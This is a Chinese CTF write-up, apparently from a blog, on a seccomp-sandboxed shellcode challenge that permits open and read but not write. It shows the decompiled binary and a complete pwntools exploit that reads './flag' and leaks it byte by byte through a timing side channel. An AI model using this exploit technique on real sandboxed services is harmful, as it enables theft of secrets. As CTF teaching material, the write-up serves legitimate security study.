做SCTF时碰到一个没看过的题型,比赛结束之后才知道是orw的一个玩法,测信道攻击。主要特点就是只给使用open,read,但是不给write,即无法把flag输出到终端。这里可以通过把flag读到栈上,再逐个爆破比较,来确定flag。原理和web的时间盲注类似。

下面给出一个UNCTF的测信道攻击的例题:

 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3 unsigned int v3; // eax
4 __int64 v5; // [rsp+50h] [rbp-40h]
5 __int64 v6; // [rsp+58h] [rbp-38h]
6 __int128 buf; // [rsp+60h] [rbp-30h] BYREF
7 __int64 v8; // [rsp+70h] [rbp-20h]
8 unsigned __int64 v9; // [rsp+80h] [rbp-10h]
9
10 v9 = __readfsqword(0x28u);
11 sub_AE0(a1, a2, a3);
12 buf = 0LL;
13 v8 = 0LL;
14 puts("Are you a shellcode master?");
15 alarm(0x14u);
16 v3 = getpagesize();
17 v6 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);
18 read(0, &buf, 0x18uLL);
19 prctl(38, 1LL, 0LL, 0LL, 0LL);
20 v5 = seccomp_init(0LL);
21 seccomp_rule_add(v5, 2147418112LL, 15LL, 0LL);
22 seccomp_rule_add(v5, 2147418112LL, 2LL, 0LL);
23 seccomp_rule_add(v5, 2147418112LL, 0LL, 0LL);
24 seccomp_rule_add(v5, 2147418112LL, 10LL, 0LL);
25 seccomp_load(v5);
26 *(_QWORD *)(v6 + 16) = v8;
27 *(_OWORD *)v6 = buf;
28 ((void (__fastcall *)(__int64, __int64))v6)(3735928559LL, 4919LL);
29 return 0LL;
30 }

主函数的开头mmap了一块大空间,然后读入数据到buf,接着会把分配的那块内存的开头赋为我们刚刚读入的内容,并且执行。

读入的0x18并不足够写入整个orw_shellcode,所以我们先写入一个shellcode来读取内容,再进行爆破。

下面是exp:

 1 import time
2 from pwn import *
3
4 context.arch='amd64'
5
6 def getshellcode():
7 global s
8 shellcode = '''
9 mov rdi, 0
10 mov rsi, 0x10018
11 mov rdx, 0x250
12 syscall
13 nop
14 '''
15 s.recvline()
16 s.send(asm(shellcode))
17 sleep(0.1)
18
19 def pwn():
20 global s
21 flag = ''
22 count = 1
23 for i in range (len(flag),0x50):
24 left = 32
25 right = 127
26 while left < right:
27 s = process('./ezshell')
28 #s = remote('node2.hackingfor.fun',38235)
29 getshellcode()
30 mid = (left + right) >> 1
31 orw_shellcode = f'''
32 mov rdi, 0x67616c662f2e
33 push rdi
34 mov rdi, rsp
35 mov rsi, 0
36 mov rdx, 0
37 mov rax, 2
38 syscall
39 mov rdi, 3
40 mov rsi, rsp
41 mov rdx, 0x100
42 mov rax, 0
43 syscall
44 mov dl, byte ptr [rsp+{i}]
45 mov cl, {mid}
46 cmp dl, cl
47 ja loop
48 ret
49 loop:
50 jmp loop
51 '''
52 s.sendline(asm(orw_shellcode))
53 start_time = time.time()
54 try:
55 s.recv(timeout=0.2)
56 if(time.time() - start_time > 0.1):
57 left = mid + 1
58 except:
59 right = mid
60 s.close()
61 log.info('time-->'+str(count))
62 log.info(flag)
63 count +=1
64 flag += chr(left)
65 log.info(flag)
66 if(flag[-1] == '}'):
67 break
68 pwn()
69 s.interactive()

题目附件
提取码:2efj

ORW-测信道攻击的更多相关文章

  1. 嵌入式 -- WINKHUB 边信道攻击 (NAND Glitch)

    0x00 前言 随着物联网IOT的飞速发展,各类嵌入式设备, 路由器安全研究也越来越火. 但因为跟以往纯软件安全研究的要求不同, 这类研究往往需要结合相应的硬件知识. 很多朋友困惑如何开始, 甚至卡在 ...

  2. intel:spectre&Meltdown侧信道攻击(三)—— raw hammer

    今天介绍raw hammer攻击的原理:这次有点“标题党”了.事实上,raw hammer是基于DRAM内存的攻击:所以理论上,只要是用了DRAM内存的设备,不论是什么cpu(intel.amd,或则 ...

  3. intel:spectre&Meltdown侧信道攻击(一)

    只要平时对安全领域感兴趣的读者肯定都听过spectre&Meltdown侧信道攻击,今天简单介绍一下这种攻击的原理( https://www.bilibili.com/video/av1814 ...

  4. 第四十三个知识点:为AES描述一些基础的(可能无效)的对抗侧信道攻击的防御

    第四十三个知识点:为AES描述一些基础的(可能无效)的对抗侧信道攻击的防御 原文地址:http://bristolcrypto.blogspot.com/2015/07/52-things-numbe ...

  5. 第四十五个知识点:描述一些对抗RSA侧信道攻击的基础防御方法

    第四十五个知识点:描述一些对抗RSA侧信道攻击的基础防御方法 原文地址:http://bristolcrypto.blogspot.com/2015/08/52-things-number-45-de ...

  6. 侧信道攻击,从喊666到入门之——Unicorn的环境构建

    作者:backahasten 发表于小米安全中心微信公众号 0x00 前言 Unicorn可以模拟多种指令集的代码,在很多安全研究领域有很强大的作用,但是由于需要从头自己布置栈空间,代码段等虚拟执行环 ...

  7. intel:spectre&Meltdown侧信道攻击(四)—— cache mapping

    前面简单介绍了row hammer攻击的原理和方法,为了更好理解这种底层硬件类攻击,今天介绍一下cpu的cache mapping: 众所周知,cpu从内存读数据,最开始用的是虚拟地址,需要通过分页机 ...

  8. intel:spectre&Meltdown侧信道攻击(二)

    上面一篇介绍了spectre&meltdown基本原理和简单的demo方案,今天继续学习一下该漏洞发现团队原始的POC:https://spectreattack.com/spectre.pd ...

  9. intel:spectre&Meltdown侧信道攻击(五)—— DRAM address mapping

    前面介绍了row hammer,理论上很完美,实际操作的时候会面临很尴尬的问题:内存存储数据最小的单位是cell(就是个电容,充电是1,放电是0),无数个横着的cell组成row,无数个竖着的cell ...

随机推荐

  1. Learning Spark中文版--第六章--Spark高级编程(1)

    Introduction(介绍) 本章介绍了之前章节没有涵盖的高级Spark编程特性.我们介绍两种类型的共享变量:用来聚合信息的累加器和能有效分配较大值的广播变量.基于对RDD现有的transform ...

  2. k8s-hpa自动横向扩容

    目录 hpa自动扩容 官方文档 HPA是什么 Horizontal Pod Autoscaler 演练 参数 案例:监控cpu,内存,每秒数据包自动扩容 度量指标 pod清单案例-pod定义cup内存 ...

  3. 【JAVA】【Basic】MacOS上搭建JAVA开发环境

    1. JRE 1.1. 下载地址:https://www.oracle.com/technetwork/java/javase/downloads/index.html 1.1.1. dmg格式安装: ...

  4. mybatis-扩展

    分页插件 使用pageHelper参考官方https://github.com/pagehelper/Mybatis-PageHelper/blob/master/wikis/zh/HowToUse. ...

  5. 【编程思想】【设计模式】【其他模式】blackboard

    Python版 https://github.com/faif/python-patterns/blob/master/other/blackboard.py #!/usr/bin/env pytho ...

  6. Linux基础命令---apachectl

    apachectl apachectl指令是apache http服务器的前端控制程序,可以协助控制apache服务的守护进程httpd. 此命令的适用范围:RedHat.RHEL.Ubuntu.Ce ...

  7. sql优化的8种方式

    1.设置索引. MySQL索引操作:给表列创建索引: 建表时创建索引: create table t(id int,name varchar(20),index idx_name (name)); 给 ...

  8. NoSQL之Redis学习笔记

    一.NoSQL与Redis 1.什么是NoSQL? NoSQL=Not Only SQL ,泛指非关系型数据库.随着互联网的兴起,传统的关系型数据库已经暴露了很多问题,NoSQL数据库的产生就是为了解 ...

  9. 转:select、poll、epoll之间的区别总结[整理]

    转:select.poll.epoll之间的区别总结[整理] select,poll,epoll都是IO多路复用的机制.I/O多路复用就通过一种机制,可以监视多个描述符,一旦某个描述符就绪(一般是读就 ...

  10. SourceTree Git可视化管理工具通过 ssh 密钥登录

    整个流程分三步:① 生成SSH密钥:② Github/Gitee/Coding 代码托管平台绑定公钥:③ SourceTree 拉取代码 1.生成 SSH 密钥 这里直接使用 SourceTree 来 ...